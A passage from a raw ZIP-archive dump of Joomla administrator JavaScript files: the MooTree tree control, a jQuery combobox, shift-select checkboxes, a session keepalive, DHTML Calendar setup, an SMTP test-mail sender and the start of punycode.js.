		CSS-style comments inside a-tags are parsed, and treated as arguments for <MooTreeNode> constructor,
		e.g. "icon", "openicon", "color", etc.
	*/

	adopt: function(id, parentNode) {
		if (parentNode === undefined) parentNode = this.root;
		this.disable();
		this._adopt(id, parentNode);
		parentNode.update(true);
		document.id(id).destroy();
		this.enable();
	},

	_adopt: function(id, parentNode) {
		/* adopts a structure of ul/li elements into this tree */
		e = document.id(id);
		var i=0, c = e.getChildren();
		for (i=0; i<c.length; i++) {
			if (c[i].nodeName == 'LI') {
				var con={text:''}, comment='', node=null, subul=null;
				var n=0, z=0, se=null, s = c[i].getChildren();
				for (n=0; n<s.length; n++) {
					switch (s[n].nodeName) {
						case 'A':
							for (z=0; z<s[n].childNodes.length; z++) {
								se = s[n].childNodes[z];
								switch (se.nodeName) {
									case '#text': con.text += se.nodeValue; break;
									case '#comment': comment += se.nodeValue; break;
								}
							}
							con.data = s[n].getProperties('href','target','title','name');
						break;
						case 'UL':
							subul = s[n];
						break;
					}
				}
				if (con.label != '') {
					con.data.url = con.data['href']; // (for backwards compatibility)
					if (comment != '') {
						var bits = comment.split(';');
						for (z=0; z<bits.length; z++) {
							var pcs = bits[z].trim().split(':');
							if (pcs.length == 2) con[pcs[0].trim()] = pcs[1].trim();
						}
					}
					if (c[i].id != null) {
						con.id = 'node_'+c[i].id;
					}
					node = parentNode.insert(con);
					if (subul) this._adopt(subul, node);
				}
			}
		}
	},

	/*
	Property: disable
		Call this to temporarily disable visual updates -- if you need to insert/remove many nodes
		at a time, many visual updates would normally occur. By temporarily disabling the control,
		these visual updates will be skipped.

		When you're done making changes, call <MooTreeControl.enable> to turn on visual updates
		again, and automatically repaint all nodes that were changed.
	*/

	disable: function() {
		this.enabled = false;
	},

	/*
	Property: enable
		Enables visual updates again after a call to <MooTreeControl.disable>
	*/

	enable: function() {
		this.enabled = true;
		this.root.update(true, true);
	}

});

/*
Class: MooTreeNode
	This class implements the functionality of a single node in a <MooTreeControl>.

Note:
	You should not manually create objects of this class -- rather, you should use
	<MooTreeControl.insert> to create nodes in the root of the tree, and then use
	the similar function <MooTreeNode.insert> to create subnodes.

	Both insert methods have a similar syntax, and both return the newly created
	<MooTreeNode> object.

Parameters:
	options - an object. See options below.

Options:
	text - this is the displayed text of the node, and as such as is the only required parameter.
	id - string, optional - if specified, must be a unique node identifier. Nodes with id can be retrieved using the <MooTreeControl.get> method.
	color - string, optional - if specified, must be a six-digit hexadecimal RGB color code.

	open - boolean value, defaults to false. Use true if you want the node open from the start.

	icon - use this to customize the icon of the node. The following predefined values may be used: '_open', '_closed' and '_doc'. Alternatively, specify the URL of a GIF or PNG image to use - this should be exactly 18x18 pixels in size. If you have a strip of images, you can specify an image number (e.g. 'my_icons.gif#4' for icon number 4).
	openicon - use this to customize the icon of the node when it's open.

	data - an object containing whatever data you wish to associate with this node (such as an url and/or an id, etc.)

Events:
	onExpand - called when the node is expanded or collapsed: function(state) - where state is a boolean meaning true:expanded or false:collapsed.
	onSelect - called when the node is selected or deselected: function(state) - where state is a boolean meaning true:selected or false:deselected.
	onClick - called when the node is clicked (no arguments).
*/

var MooTreeNode = new Class({

	initialize: function(options) {

		this.text = options.text;       // the text displayed by this node
		this.id = options.id || null;   // the node's unique id
		this.nodes = new Array();       // subnodes nested beneath this node (MooTreeNode objects)
		this.parent = null;             // this node's parent node (another MooTreeNode object)
		this.last = true;               // a flag telling whether this node is the last (bottom) node of it's parent
		this.control = options.control; // owner control of this node's tree
		this.selected = false;          // a flag telling whether this node is the currently selected node in it's tree

		this.color = options.color || null; // text color of this node

		this.data = options.data || {}; // optional object containing whatever data you wish to associate with the node (typically an url or an id)

		this.onExpand = options.onExpand || new Function(); // called when the individual node is expanded/collapsed
		this.onSelect = options.onSelect || new Function(); // called when the individual node is selected/deselected
		this.onClick = options.onClick || new Function(); // called when the individual node is clicked

		this.open = options.open ? true : false; // flag: node open or closed?

		this.icon = options.icon;
		this.openicon = options.openicon || this.icon;

		// add the node to the control's node index:
		if (this.id) this.control.index[this.id] = this;

		// create the necessary divs:
		this.div = {
			main: new Element('div').addClass('mooTree_node'),
			indent: new Element('div'),
			gadget: new Element('div'),
			icon: new Element('div'),
			text: new Element('div').addClass('mooTree_text'),
			sub: new Element('div')
		}

		// put the other divs under the main div:
		this.div.main.adopt(this.div.indent);
		this.div.main.adopt(this.div.gadget);
		this.div.main.adopt(this.div.icon);
		this.div.main.adopt(this.div.text);

		// put the main and sub divs in the specified parent div:
		document.id(options.div).adopt(this.div.main);
		document.id(options.div).adopt(this.div.sub);

		// attach event handler to gadget:
		this.div.gadget._node = this;
		this.div.gadget.onclick = this.div.gadget.ondblclick = function() {
			this._node.toggle();
		}

		// attach event handler to icon/text:
		this.div.icon._node = this.div.text._node = this;
		this.div.icon.onclick = this.div.icon.ondblclick = this.div.text.onclick = this.div.text.ondblclick = function() {
			this._node.control.select(this._node);
		}

	},

	/*
	Property: insert
		Creates a new node, nested inside this one.

	Parameters:
		options - an object containing the same options available to the <MooTreeNode> constructor.

	Returns:
		A new <MooTreeNode> instance.
	*/

	insert: function(options) {

		// set the parent div and create the node:
		options.div = this.div.sub;
		options.control = this.control;
		var node = new MooTreeNode(options);

		// set the new node's parent:
		node.parent = this;

		// mark this node's last node as no longer being the last, then add the new last node:
		var n = this.nodes;
		if (n.length) n[n.length-1].last = false;
		n.push(node);

		// repaint the new node:
		node.update();

		// repaint the new node's parent (this node):
		if (n.length == 1) this.update();

		// recursively repaint the new node's previous sibling node:
		if (n.length > 1) n[n.length-2].update(true);

		return node;

	},

	/*
	Property: remove
		Removes this node, and all of it's child nodes. If you want to remove all the childnodes without removing the node itself, use <MooTreeNode.clear>
	*/

	remove: function() {
		var p = this.parent;
		this._remove();
		p.update(true);
	},

	_remove: function() {

		// recursively remove this node's subnodes:
		var n = this.nodes;
		while (n.length) n[n.length-1]._remove();

		// remove the node id from the control's index:
		delete this.control.index[this.id];

		// remove this node's divs:
		this.div.main.destroy();
		this.div.sub.destroy();

		if (this.parent) {

			// remove this node from the parent's collection of nodes:
			var p = this.parent.nodes;
			p.erase(this);

			// in case we removed the parent's last node, flag it's current last node as being the last:
			if (p.length) p[p.length-1].last = true;

		}

	},

	/*
	Property: clear
		Removes all child nodes under this node, without removing the node itself.
		To remove all nodes including this one, use <MooTreeNode.remove>
	*/

	clear: function() {
		this.control.disable();
		while (this.nodes.length) this.nodes[this.nodes.length-1].remove();
		this.control.enable();
	},

	/*
	Property: update
		Update the tree node's visual appearance.

	Parameters:
		recursive - boolean, defaults to false. If true, recursively updates all nodes beneath this one.
		invalidated - boolean, defaults to false. If true, updates only nodes that have been invalidated while the control has been disabled.
	*/

	update: function(recursive, invalidated) {

		var draw = true;

		if (!this.control.enabled) {
			// control is currently disabled, so we don't do any visual updates
			this.invalidated = true;
			draw = false;
		}

		if (invalidated) {
			if (!this.invalidated) {
				draw = false; // this one is still valid, don't draw
			} else {
				this.invalidated = false; // we're drawing this item now
			}
		}

		if (draw) {

			var x;

			// make selected, or not:
			this.div.main.className = 'mooTree_node' + (this.selected ? ' mooTree_selected' : '');

			// update indentations:
			var p = this, i = '';
			while (p.parent) {
				p = p.parent;
				i = this.getImg(p.last || !this.control.grid ? '' : 'I') + i;
			}
			this.div.indent.innerHTML = i;

			// update the text:
			x = this.div.text;
			x.empty();
			x.appendText(this.text);
			if (this.color) x.style.color = this.color;

			// update the icon:
			this.div.icon.innerHTML = this.getImg( this.nodes.length ? ( this.open ? (this.openicon || this.icon || '_open') : (this.icon || '_closed') ) : ( this.icon || (this.control.mode == 'folders' ? '_closed' : '_doc') ) );

			// update the plus/minus gadget:
			this.div.gadget.innerHTML = this.getImg( ( this.control.grid ? ( this.control.root == this ? (this.nodes.length ? 'R' : '') : (this.last?'L':'T') ) : '') + (this.nodes.length ? (this.open?'minus':'plus') : '') );

			// show/hide subnodes:
			this.div.sub.style.display = this.open ? 'block' : 'none';

		}

		// if recursively updating, update all child nodes:
		if (recursive) this.nodes.forEach( function(node) {
			node.update(true, invalidated);
		});

	},

	/*
	Property: getImg
		Creates a new image, in the form of HTML for a DIV element with appropriate style.
		You should not need to manually call this method. (though if for some reason you want to, you can)

	Parameters:
		name - the name of new image to create, defined by <MooTreeIcon> or located in an external file.

	Returns:
		The HTML for a new div Element.
	*/

	getImg: function(name) {

		var html = '<div class="mooTree_img"';

		if (name != '') {
			var img = this.control.theme;
			var i = MooTreeIcon.indexOf(name);
			if (i == -1) {
				// custom (external) icon:
				var x = name.split('#');
				img = x[0];
				i = (x.length == 2 ? parseInt(x[1])-1 : 0);
			}
			html += ' style="background-image:url(' + img + '); background-position:-' + (i*18) + 'px 0px;"';
		}

		html += "></div>";

		return html;

	},

	/*
	Property: toggle
		By default (with no arguments) this function toggles the node between expanded/collapsed.
		Can also be used to recursively expand/collapse all or part of the tree.

	Parameters:
		recursive - boolean, defaults to false. With recursive set to true, all child nodes are recursively toggle to this node's new state.
		state - boolean. If undefined, the node's state is toggled. If true or false, the node can be explicitly opened or closed.
	*/

	toggle: function(recursive, state) {

		this.open = (state === undefined ? !this.open : state);
		this.update();

		this.onExpand(this.open);
		this.control.onExpand(this, this.open);

		if (recursive) this.nodes.forEach( function(node) {
			node.toggle(true, this.open);
		}, this);

	},

	/*
	Property: select
		Called by <MooTreeControl> when the selection changes.
		You should not manually call this method - to set the selection, use the <MooTreeControl.select> method.
	*/

	select: function(state) {
		this.selected = state;
		this.update();
		this.onSelect(state);
	},

	/*
	Property: load
		Asynchronously load an XML structure into a node of this tree.

	Parameters:
		url - string, required, specifies the URL from which to load the XML document.
		vars - query string, optional.
	*/

	load: function(url, vars) {

		if (this.loading) return; // if this node is already loading, return
		this.loading = true;      // flag this node as loading

		this.toggle(false, true); // expand the node to make the loader visible

		this.clear();

		this.insert(this.control.loader);

		var f = function() {
			new Request({
				method: 'GET',
				url: url,
				onSuccess: this._loaded.bind(this),
				onFailure: this._load_err.bind(this)
			}).send(vars || '');
		}.bind(this).delay(20);

		//window.setTimeout(f.bind(this), 20); // allowing a small delay for the browser to draw the loader-icon.

	},

	_loaded: function(text, xml) {
		// called on success - import nodes from the root element:
		this.control.disable();
		this.clear();
		this._import(xml.documentElement);
		this.control.enable();
		this.loading = false;
	},

	_import: function(e) {
		// import childnodes from an xml element:
		var n = e.childNodes;
		for (var i=0; i<n.length; i++) if (n[i].tagName == 'node') {
			var opt = {data:{}};
			var a = n[i].attributes;
			for (var t=0; t<a.length; t++) {
				switch (a[t].name) {
					case 'text':
					case 'id':
					case 'icon':
					case 'openicon':
					case 'color':
					case 'open':
						opt[a[t].name] = a[t].value;
						break;
					default:
						opt.data[a[t].name] = a[t].value;
				}
			}
			var node = this.insert(opt);
			if (node.data.load) {
				node.open = false; // can't have a dynamically loading node that's already open!
				node.insert(this.control.loader);
				node.onExpand = function(state) {
					this.load(this.data.load);
					this.onExpand = new Function();
				}
			}
			// recursively import subnodes of this node:
			if (n[i].childNodes.length) node._import(n[i]);
		}
	},

	_load_err: function(req) {
		window.alert('Error loading: ' + this.text);
	}

});
PK!�heM�
�
js/combobox.jsnu�[���(function(e,t,n){var i=function(n,i){var s={},o=function(t,n){s.$elem=e(n);s.options=e.extend({},e.fn.ComboTransform.options,t);s.$input=e(n).find('input[type="text"]');s.$dropBtnDiv=e(n).find("div.btn-group");s.$dropBtn=s.$dropBtnDiv.find('[type="button"]');s.$dropDown=e(n).find("ul.dropdown-menu"),s.$dropDownOptions=s.$dropDown.find("li a");s.$dropDown.isEmpty=false;s.$dropBtn.isClicked=false;u();a()},u=function(){var e=s.$elem.width(),t=s.$dropBtnDiv.width(),n=e-3,r=-e+t,i=s.$dropDown.width();i<n?s.$dropDown.width(n+"px"):null;s.$dropDown.css("left",r+"px");s.$dropDown.css("max-height","150px");s.$dropDown.css("overflow-y","scroll");s.$dropDown.css("left",r+"px")},a=function(){s.$input.bind("focus",f);s.$input.bind("blur",l);if(s.options.updateList){s.$input.bind("keyup",p)}s.$dropDown.on("mouseenter",function(){d("clear");s.$input.unbind("blur",l)});s.$dropDown.on("mouseleave",function(e){s.$input.bind("blur",l)});s.$dropBtn.on("click",c);s.$dropDown.find("li").on("click",h);s.$dropDown.find("li a").on("mouseenter",function(){e(this).addClass("hover");s.$currHovered=e(this)});s.$dropDown.find("li a").on("mouseleave",function(){e(this).removeClass("hover")})},f=function(){if(!s.$dropDown.isEmpty){var e=s.$dropDown.height(),t=s.$input[0].clientHeight,n=s.$input.height(),r=-(n+e);s.$dropDown.css("top","100%");s.$elem.addClass("nav-hover");s.$dropBtnDiv.addClass("open");if(!v(s.$dropDown)){s.$dropDown.css("top",r+"px")}s.$input.bind("keypress keydown keyup",g)}},l=function(){s.$elem.removeClass("nav-hover");s.$dropBtnDiv.removeClass("open");if(s.$dropBtn.isClicked){s.$dropBtn.isClicked=false;s.$dropDown.isEmpty=true}d("clear");s.$input.unbind("keypress keydown keyup",g)},c=function(){var e=s.$dropDownOptions;e.show();s.$dropBtn.isClicked=s.$dropDown.isEmpty;s.$dropDown.isEmpty=false;s.$input.focus()},h=function(t){var n=e(t.target).text();s.$input.val(n);l();return false},p=function(t){var n=t&&(t.keycode||t.which);n=t.ctrlKey||t.altKey?-1:n;if(n>47&&n<59||n>62&&n<127||n==32||n==8){var r=s.$input.val().toLowerCase(),i=s.$dropDownOptions,o=0,u=false;i.each(function(){if(this.innerHTML.toLowerCase().indexOf(r)==0){e(this).show()}else{e(this).hide();if(e(this).hasClass("hover")){u=true}o++}});if(o==i.length){s.$dropDown.isEmpty=true;l()}else{s.$dropDown.isEmpty=false;if(u){d("clear")}f()}}else if(!s.$dropDown.isEmpty){if(n==38){d("prev")}else if(n==40){d("next")}else if(n==13&&s.$currHovered!=null){s.$input.val(s.$currHovered.html());l()}}},d=function(e){if(e=="next"||e=="prev"){var t=s.$dropDownOptions.filter(":visible"),n=t.filter(".hover"),r=t.index(n),i;if(e=="prev"){r=r==-1?t.length-1:r-1}else{r=r==t.length-1?0:r+1}if(n.length!=0){n.removeClass("hover")}i=t.eq(r);s.$currHovered=i;s.$currHovered.addClass("hover");m(s.$dropDown,s.$currHovered)}else if(e=="clear"){s.$currHovered!=null?s.$currHovered.removeClass("hover"):null;s.$currHovered=null}},v=function(e){var n=e[0].getBoundingClientRect();return n.top>=0&&n.left>=0&&n.bottom<=(window.innerHeight||t.documentElement.clientHeight)&&n.right<=(window.innerWidth||t.documentElement.clientWidth)},m=function(e,t){z=e[0].getBoundingClientRect();r=t[0].getBoundingClientRect();if(!(r.top>=z.top&&r.left>=z.left&&r.top+r.height<=z.top+z.height)){var n=r.top-z.top+e.scrollTop();e.scrollTop(n)}},g=function(e){if(e.keyCode==13){e.preventDefault()}};o(n,i)};e.fn.ComboTransform=function(e){return this.each(function(){i(e,this)})};e.fn.ComboTransform.options={updateList:true};e(function(){e("div.combobox").ComboTransform({updateList:true})})})(jQuery,document)
PK!�����js/multiselect.jsnu�[���/*
        GNU General Public License version 2 or later; see LICENSE.txt
*/
(function(b){Joomla=window.Joomla||{};var a;Joomla.JMultiSelect=function(f){var e,c=function(g){a=b("#"+g).find("input[type=checkbox]");a.on("click",function(h){d(h)})},d=function(j){var h=b(j.target),l,k,g,i;if(j.shiftKey&&e.length){l=h.is(":checked");k=a.index(e);g=a.index(h);if(g<k){i=k;k=g;g=i}a.slice(k,g+1).attr("checked",l)}e=h};c(f)}})(jQuery);
PK!�CCjs/multiselect-uncompressed.jsnu�[���/**
 * @copyright   (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

/**
 * JavaScript behavior to allow shift select in administrator grids
 */
(function($) {
    
    Joomla = window.Joomla || {};
    var $boxes;
    Joomla.JMultiSelect = function(table) {
        var $last,
        
        initialize = function(table) {
            $boxes = $('#' + table).find('input[type=checkbox]');
            $boxes.on('click', function(e) {
                doselect(e)
            });
        },
        
        doselect = function(e) {
            var $current = $(e.target), isChecked, lastIndex, currentIndex, swap;
            if (e.shiftKey && $last.length) {
                isChecked = $current.is(':checked');
                lastIndex = $boxes.index($last);
                currentIndex = $boxes.index($current);
                if (currentIndex < lastIndex) {
                    // handle selection from bottom up
                    swap = lastIndex;
                    lastIndex = currentIndex;
                    currentIndex = swap;
                }
                $boxes.slice(lastIndex, currentIndex + 1).attr('checked', isChecked);
            }

            $last = $current;
        }
        initialize(table);
    }

})(jQuery);
PK!��r(��js/keepalive-uncompressed.jsnu�[���/**
 * @copyright   (C) 2016 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

/**
 * Keepalive javascript behavior
 *
 * Used for keeping the session alive
 *
 * @package  Joomla
 * @since    3.7.0
 */
!(function(){
	'use strict';

	document.addEventListener('DOMContentLoaded', function() {

		var keepaliveOptions  = Joomla.getOptions('system.keepalive'),
		    keepaliveUri      = keepaliveOptions && keepaliveOptions.uri ? keepaliveOptions.uri.replace(/&amp;/g, '&') : '',
		    keepaliveInterval = keepaliveOptions && keepaliveOptions.interval ? keepaliveOptions.interval : 45 * 1000;

		// Fallback in case no keepalive uri was found.
		if (keepaliveUri === '')
		{
			var systemPaths = Joomla.getOptions('system.paths');

			keepaliveUri = (systemPaths ? systemPaths.root + '/index.php' : window.location.pathname) + '?option=com_ajax&format=json';
		}

		window.setInterval(function() {
			Joomla.request({
				url: keepaliveUri,
				onSuccess: function(response, xhr)
				{
					// Do nothing
				},
				onError: function(xhr)
				{
					// Do nothing
				}
			});
		}, keepaliveInterval);

	});

})(window, document, Joomla);
PK! ��##!js/calendar-setup-uncompressed.jsnu�[���/*  Copyright Mihai Bazon, 2002, 2003  |  http://dynarch.com/mishoo/
 * ---------------------------------------------------------------------------
 *
 * The DHTML Calendar
 *
 * Details and latest version at:
 * http://dynarch.com/mishoo/calendar.epl
 *
 * This script is distributed under the GNU Lesser General Public License.
 * Read the entire license text here: http://www.gnu.org/licenses/lgpl.html
 *
 * This file defines helper functions for setting up the calendar.  They are
 * intended to help non-programmers get a working calendar on their site
 * quickly.  This script should not be seen as part of the calendar.  It just
 * shows you what one can do with the calendar, while in the same time
 * providing a quick and simple method for setting it up.  If you need
 * exhaustive customization of the calendar creation process feel free to
 * modify this code to suit your needs (this is recommended and much better
 * than modifying calendar.js itself).
 */

/**
 *  This function "patches" an input field (or other element) to use a calendar
 *  widget for date selection.
 *
 *  The "params" is a single object that can have the following properties:
 *
 *    prop. name   | description
 *  -------------------------------------------------------------------------------------------------
 *   inputField    | the ID of an input field to store the date
 *   displayArea   | the ID of a DIV or other element to show the date
 *   button        | ID of a button or other element that will trigger the calendar
 *   eventName     | event that will trigger the calendar, without the "on" prefix (default: "click")
 *   ifFormat      | date format that will be stored in the input field
 *   daFormat      | the date format that will be used to display the date in displayArea
 *   singleClick   | (true/false) whether the calendar is in single click mode or not (default: true)
 *   firstDay      | numeric: 0 to 6.  "0" means display Sunday first, "1" means display Monday first, etc.
 *   align         | alignment (default: "Br"); if you don't know what's this see the calendar documentation
 *   range         | array with 2 elements.  Default: [1900, 2999] -- the range of years available
 *   weekNumbers   | (true/false) if it's true (default) the calendar will display week numbers
 *   flat          | null or element ID; if not null the calendar will be a flat calendar having the parent with the given ID
 *   flatCallback  | function that receives a JS Date object and returns an URL to point the browser to (for flat calendar)
 *   disableFunc   | function that receives a JS Date object and should return true if that date has to be disabled in the calendar
 *   onSelect      | function that gets called when a date is selected.  You don't _have_ to supply this (the default is generally okay)
 *   onClose       | function that gets called when the calendar is closed.  [default]
 *   onUpdate      | function that gets called after the date is updated in the input field.  Receives a reference to the calendar.
 *   date          | the date that the calendar will be initially displayed to
 *   showsTime     | default: false; if true the calendar will include a time selector
 *   timeFormat    | the time format; can be "12" or "24", default is "12"
 *   electric      | if true (default) then given fields/date areas are updated for each move; otherwise they're updated only on close
 *   step          | configures the step of the years in drop-down boxes; default: 2
 *   position      | configures the calendar absolute position; default: null
 *   cache         | if "true" (but default: "false") it will reuse the same calendar object, where possible
 *   showOthers    | if "true" (but default: "false") it will show days from other months too
 *
 *  None of them is required, they all have default values.  However, if you
 *  pass none of "inputField", "displayArea" or "button" you'll get a warning
 *  saying "nothing to setup".
 */
Calendar.setup = function (params) {
	function param_default(pname, def) { if (typeof params[pname] == "undefined") { params[pname] = def; } };

	param_default("inputField",      null);
	param_default("displayArea",     null);
	param_default("button",          null);
	param_default("eventName",       "click");
	param_default("ifFormat",        "%Y/%m/%d");
	param_default("daFormat",        "%Y/%m/%d");
	param_default("singleClick",     true);
	param_default("disableFunc",     null);
	param_default("dateStatusFunc",  params["disableFunc"]);	// takes precedence if both are defined
	param_default("dateTooltipFunc", null);
	param_default("dateText",        null);
	param_default("firstDay",        null);
	param_default("align",           "Br");
	param_default("range",           [1900, 2999]);
	param_default("weekNumbers",     true);
	param_default("flat",            null);
	param_default("flatCallback",    null);
	param_default("onSelect",        null);
	param_default("onClose",         null);
	param_default("onUpdate",        null);
	param_default("date",            null);
	param_default("showsTime",       false);
	param_default("timeFormat",      "24");
	param_default("electric",        true);
	param_default("step",            2);
	param_default("position",        null);
	param_default("cache",           false);
	param_default("showOthers",      false);
	param_default("multiple",        null);

	var tmp = ["inputField", "displayArea", "button"];
	for (var i in tmp) {
		if (typeof params[tmp[i]] == "string") {
			params[tmp[i]] = document.getElementById(params[tmp[i]]);
		}
	}
	if (!(params.flat || params.multiple || params.inputField || params.displayArea || params.button)) {
		alert("Calendar.setup:\n  Nothing to setup (no fields found).  Please check your code");
		return false;
	}

	function onSelect(cal) {
		var p = cal.params;
		var update = (cal.dateClicked || p.electric);
		if (update && p.inputField) {
			p.inputField.value = cal.date.print(p.ifFormat);
			if (typeof p.inputField.onchange == "function")
				p.inputField.onchange();
		}
		if (update && p.displayArea)
			p.displayArea.innerHTML = cal.date.print(p.daFormat);
		if (update && typeof p.onUpdate == "function")
			p.onUpdate(cal);
		if (update && p.flat) {
			if (typeof p.flatCallback == "function")
				p.flatCallback(cal);
		}
		if (update && p.singleClick && cal.dateClicked)
			cal.callCloseHandler();
	};

	if (params.flat != null) {
		if (typeof params.flat == "string")
			params.flat = document.getElementById(params.flat);
		if (!params.flat) {
			alert("Calendar.setup:\n  Flat specified but can't find parent.");
			return false;
		}
		var cal = new Calendar(params.firstDay, params.date, params.onSelect || onSelect);
		cal.setDateToolTipHandler(params.dateTooltipFunc);
		cal.showsOtherMonths = params.showOthers;
		cal.showsTime = params.showsTime;
		cal.time24 = (params.timeFormat == "24");
		cal.params = params;
		cal.weekNumbers = params.weekNumbers;
		cal.setRange(params.range[0], params.range[1]);
		cal.setDateStatusHandler(params.dateStatusFunc);
		cal.getDateText = params.dateText;
		if (params.ifFormat) {
			cal.setDateFormat(params.ifFormat);
		}
		if (params.inputField && typeof params.inputField.value == "string") {
			cal.parseDate(params.inputField.value);
		}
		cal.create(params.flat);
		cal.show();
		return false;
	}

	var triggerEl = params.button || params.displayArea || params.inputField;
	triggerEl["on" + params.eventName] = function() {
		var dateEl = params.inputField || params.displayArea;
		var dateFmt = params.inputField ? params.ifFormat : params.daFormat;
		var mustCreate = false;
		var cal = window.calendar;
		if (dateEl)
			params.date = Date.parseDate(dateEl.value || dateEl.innerHTML, dateFmt);
		if (!(cal && params.cache)) {
			window.calendar = cal = new Calendar(params.firstDay,
							     params.date,
							     params.onSelect || onSelect,
							     params.onClose || function(cal) { cal.hide(); });
			cal.setDateToolTipHandler(params.dateTooltipFunc);
			cal.showsTime = params.showsTime;
			cal.time24 = (params.timeFormat == "24");
			cal.weekNumbers = params.weekNumbers;
			mustCreate = true;
		} else {
			if (params.date)
				cal.setDate(params.date);
			cal.hide();
		}
		if (params.multiple) {
			cal.multiple = {};
			for (var i = params.multiple.length; --i >= 0;) {
				var d = params.multiple[i];
				var ds = d.print("%Y%m%d");
				cal.multiple[ds] = d;
			}
		}
		cal.showsOtherMonths = params.showOthers;
		cal.yearStep = params.step;
		cal.setRange(params.range[0], params.range[1]);
		cal.params = params;
		cal.setDateStatusHandler(params.dateStatusFunc);
		cal.getDateText = params.dateText;
		cal.setDateFormat(dateFmt);
		if (mustCreate)
			cal.create();
		cal.refresh();
		if (!params.position)
			cal.showAtElement(params.button || params.displayArea || params.inputField, params.align);
		else
			cal.showAt(params.position[0], params.position[1]);
		return false;
	};

	return cal;
};
PK!��js/calendar-setup.jsnu�[���Calendar.setup=function(g){function f(h,i){if(typeof g[h]=="undefined"){g[h]=i}}f("inputField",null);f("displayArea",null);f("button",null);f("eventName","click");f("ifFormat","%Y/%m/%d");f("daFormat","%Y/%m/%d");f("singleClick",true);f("disableFunc",null);f("dateStatusFunc",g.disableFunc);f("dateTooltipFunc",null);f("dateText",null);f("firstDay",null);f("align","Br");f("range",[1900,2999]);f("weekNumbers",true);f("flat",null);f("flatCallback",null);f("onSelect",null);f("onClose",null);f("onUpdate",null);f("date",null);f("showsTime",false);f("timeFormat","24");f("electric",true);f("step",2);f("position",null);f("cache",false);f("showOthers",false);f("multiple",null);var c=["inputField","displayArea","button"];for(var b in c){if(typeof g[c[b]]=="string"){g[c[b]]=document.getElementById(g[c[b]])}}if(!(g.flat||g.multiple||g.inputField||g.displayArea||g.button)){alert("Calendar.setup:\n  Nothing to setup (no fields found).  Please check your code");return false}function a(i){var h=i.params;var j=(i.dateClicked||h.electric);if(j&&h.inputField){h.inputField.value=i.date.print(h.ifFormat);if(typeof h.inputField.onchange=="function"){h.inputField.onchange()}}if(j&&h.displayArea){h.displayArea.innerHTML=i.date.print(h.daFormat)}if(j&&typeof h.onUpdate=="function"){h.onUpdate(i)}if(j&&h.flat){if(typeof h.flatCallback=="function"){h.flatCallback(i)}}if(j&&h.singleClick&&i.dateClicked){i.callCloseHandler()}}if(g.flat!=null){if(typeof g.flat=="string"){g.flat=document.getElementById(g.flat)}if(!g.flat){alert("Calendar.setup:\n  Flat specified but can't find parent.");return false}var e=new Calendar(g.firstDay,g.date,g.onSelect||a);e.setDateToolTipHandler(g.dateTooltipFunc);e.showsOtherMonths=g.showOthers;e.showsTime=g.showsTime;e.time24=(g.timeFormat=="24");e.params=g;e.weekNumbers=g.weekNumbers;e.setRange(g.range[0],g.range[1]);e.setDateStatusHandler(g.dateStatusFunc);e.getDateText=g.dateText;if(g.ifFormat){e.setDateFormat(g.ifFormat)}if(g.inputField&&typeof g.inputField.value=="string"){e.parseDate(g.inputField.value)}e.create(g.flat);e.show();return false}var d=g.button||g.displayArea||g.inputField;d["on"+g.eventName]=function(){var h=g.inputField||g.displayArea;var k=g.inputField?g.ifFormat:g.daFormat;var o=false;var m=window.calendar;if(h){g.date=Date.parseDate(h.value||h.innerHTML,k)}if(!(m&&g.cache)){window.calendar=m=new Calendar(g.firstDay,g.date,g.onSelect||a,g.onClose||function(i){i.hide()});m.setDateToolTipHandler(g.dateTooltipFunc);m.showsTime=g.showsTime;m.time24=(g.timeFormat=="24");m.weekNumbers=g.weekNumbers;o=true}else{if(g.date){m.setDate(g.date)}m.hide()}if(g.multiple){m.multiple={};for(var j=g.multiple.length;--j>=0;){var n=g.multiple[j];var l=n.print("%Y%m%d");m.multiple[l]=n}}m.showsOtherMonths=g.showOthers;m.yearStep=g.step;m.setRange(g.range[0],g.range[1]);m.params=g;m.setDateStatusHandler(g.dateStatusFunc);m.getDateText=g.dateText;m.setDateFormat(k);if(o){m.create()}m.refresh();if(!g.position){m.showAtElement(g.button||g.displayArea||g.inputField,g.align)}else{m.showAt(g.position[0],g.position[1])}return false};return e};PK!-����js/sendtestmail-uncompressed.jsnu�[���/**
 * @package         Joomla.JavaScript
 * @copyright       (C) 2016 Open Source Matters, Inc. <https://www.joomla.org>
 * @license         GNU General Public License version 2 or later; see LICENSE.txt
 */

/**
 * Calls the sending process of the config class
 */
var sendTestMail = function ()
{
	$ = jQuery;

	var email_data = {
		smtpauth  : $('input[name="jform[smtpauth]"]:checked').val(),
		smtpuser  : $('input[name="jform[smtpuser]"]').val(),
		smtphost  : $('input[name="jform[smtphost]"]').val(),
		smtpsecure: $('select[name="jform[smtpsecure]"]').val(),
		smtpport  : $('input[name="jform[smtpport]"]').val(),
		mailfrom  : $('input[name="jform[mailfrom]"]').val(),
		fromname  : $('input[name="jform[fromname]"]').val(),
		mailer    : $('select[name="jform[mailer]"]').val(),
		mailonline: $('input[name="jform[mailonline]"]:checked').val()
	};

	var $smtppass = $('input[name="jform[smtppass]"]');

	if ($smtppass.is(':disabled') === false) {
		email_data.smtppass = $smtppass.val();
	}

	// Remove js messages, if they exist.
	Joomla.removeMessages();

	$.ajax({
		method: "POST",
		url: document.getElementById('sendtestmail').getAttribute('data-ajaxuri'),
		data: email_data,
		dataType: "json"
	})
	.fail(function (jqXHR, textStatus, error) {
		Joomla.renderMessages(Joomla.ajaxErrorsMessages(jqXHR, textStatus, error));

		window.scrollTo(0, 0);
	})
	.done(function (response) {
		// Render messages, if any.
		if (typeof response.messages == 'object' && response.messages !== null)
		{
			Joomla.renderMessages(response.messages);

			window.scrollTo(0, 0);
		}
	});
};

jQuery(document).ready(function ($)
{
	$('#sendtestmail').click(sendTestMail);
});
PK!^5��d9d9js/punycode-uncompressed.jsnu�[���/*! https://mths.be/punycode v1.4.1 by @mathias - do not update to v2 */
;(function(root) {

	/** Detect free variables */
	var freeExports = typeof exports == 'object' && exports &&
		!exports.nodeType && exports;
	var freeModule = typeof module == 'object' && module &&
		!module.nodeType && module;
	var freeGlobal = typeof global == 'object' && global;
	if (
		freeGlobal.global === freeGlobal ||
		freeGlobal.window === freeGlobal ||
		freeGlobal.self === freeGlobal
	) {
		root = freeGlobal;
	}

	/**
	 * The `punycode` object.
	 * @name punycode
	 * @type Object
	 */
	var punycode,

